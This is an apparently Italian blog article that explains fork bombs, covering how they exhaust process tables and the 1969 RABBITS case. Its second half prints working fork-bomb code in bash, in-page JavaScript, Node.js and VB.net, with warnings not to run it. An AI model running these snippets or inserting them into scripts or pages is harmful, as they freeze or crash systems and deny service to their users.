Cosa è una Fork Bomb? Esempi script Fork Bomb. Non provateli !

Fork Bomb.

Una Fork Bomb è un programma che danneggia un sistema facendo esaurire le risorse che ha a disposizione. Si biforca all’infinito assorbendo memoria e tempo calcolo. La fork bomb è una forma di attacco denial-of-service (DoS) contro un sistema basato su Linux e anche su Microsoft.
Una volta che una bomba è stata attivata in un sistema, potrebbe non essere possibile riprendere il normale funzionamento senza riavviarlo, poiché l’unica soluzione ad una fork bomb è distruggere tutte le istanze di essa.

ForkBomb
Fork Bomb



 

: ( ) { : | : & } ;:  Questa  è in realtà una fork bomb !

Le Fork-Bomb operano sia consumando tempo di CPU nel processo di biforcazione, che saturando la tabella dei processi del sistema operativo.  Un’implementazione base di una Fork Bomb è un ciclo infinito che lancia ripetutamente se stesso.

Fork Bomb
Fork Bomb

Nei sistemi operativi Unix-like, le Fork-Bomb sono generalmente scritte per usare la chiamata di sistema “fork”.  Questa chiamata ha l’effetto di provocare una crescita esponenziale dei  processi: 1->2>4>8>16 etc. Poiché i sistemi Unix moderni usano generalmente copy-on-write quando si biforcano nuovi processi,  una Fork Bomb generalmente non farà saturare la memoria del sistema.

Uno dei primi casi di una fork bomb fu all’Università di Washington su un Burroughs 5500 nel 1969. È stato descritto come un ” hack” di nome RABBITS che avrebbe fatto due copie di se stesso quando è stato eseguito, e queste due avrebbero generato due copie in più ciascuna, e le copie avrebbero continuato a fare più copie fino a quando la memoria era piena, causando un crash del sistema.



 

Non provate: script Fork Bomb

Semplicissimo….. script Fork Bomb

bomba(){

bomba | bomba &

}
bomba

bomba(): definiamo una nuova funzione e chiamiamola bomba.
{ codice }: qui dentro possiamo inserire in codice che verrà eseguito.
bomba: chiamerà la funzione “bomba” per eseguirla.
&:  metterà l’esecuzione della funzionel in background.

Da non provare mai in una pagina web …

"<script>
setInterval(function() {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>"

0 .. in Java script

"(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());"

o in VB.net
"Do
    System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location)
Loop While True"